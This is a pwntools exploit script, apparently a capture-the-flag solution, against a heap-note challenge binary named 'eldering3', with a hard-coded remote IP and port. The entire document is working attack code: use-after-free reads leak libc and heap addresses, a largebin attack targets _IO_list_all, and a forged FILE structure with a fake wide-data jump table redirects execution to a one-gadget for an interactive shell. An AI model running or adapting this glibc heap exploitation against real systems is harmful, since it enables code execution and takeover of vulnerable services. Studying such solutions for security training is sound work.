1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64'
def payload(lo:int): global sh if lo: sh = process('./eldering3') if lo & 2: gdb.attach(sh, gdbscript='b show_note') else: sh = remote('139.196.183.57', 30273) libc = ELF('eldering3s/libc.so.6') elf = ELF('eldering')
def addn(idx:int, size:int): sh.sendlineafter(b'>', b'1') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendlineafter(b'Size', str(size).encode())
def deln(idx:int): sh.sendlineafter(b'>', b'2') sh.sendlineafter(b'Index', str(idx).encode())
def edit(idx:int, content:bytes): sh.sendlineafter(b'>', b'3') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendafter(b'Content', content)
def show(idx:int) -> bytes: sh.sendlineafter(b'>', b'4') sh.sendlineafter(b'Index: ', str(idx).encode()) return sh.recv(7)
def withdraw(): sh.sendlineafter(b'>', b'5')
addn(0, 0x600) addn(1, 0x600) addn(2, 0x600) addn(3, 0x600) deln(0) edit(0, b'\n') ret = show(0) ret = b'\0' + ret[1:6] edit(0, b'\0') deln(2) heap = show(2) deln(3) deln(1)
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(ret[:6] + b'\0\0') - 0x60 libcBase = mainArena - dumpArena success(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m') ioListAll = libcBase + libc.symbols['_IO_list_all'] wfileJumps = libcBase + libc.symbols['_IO_wfile_jumps']
heapBase = u64(heap[:6] + b'\0\0') - 0x290 success(f'\x1b[33mleak heapBase: {hex(heapBase)}\x1b[0m')
fd = bk = libcBase + dumpArena + 0x4d0 fdNext = heapBase + 0x290 bkNext = ioListAll - 0x20 addn(0, 0x620) addn(15, 0x508) addn(1, 0x610) addn(14, 0x508) deln(0) addn(2, 0x630) deln(1) edit(0, p64(fd) + p64(bk) + p64(fdNext) + p64(bkNext)) addn(13, 0x630)
forceChunk = heapBase + 0xdd0 fakeFile = FileStructure() fakeFile.vtable = wfileJumps fakeFile._IO_write_ptr = 1 fakeFile._wide_data = forceChunk + 0xe0 fakeWideData = b'\0'*0xe0 + p64(forceChunk + 0xe0 + 0xe8) oneGadget = libcBase + 0xdf54f fakeWfileJumpTable = b'\0'*0x68 + p64(oneGadget) edit(1, bytes(fakeFile)[16:] + fakeWideData + fakeWfileJumpTable)
withdraw() sh.clean() sh.interactive()
|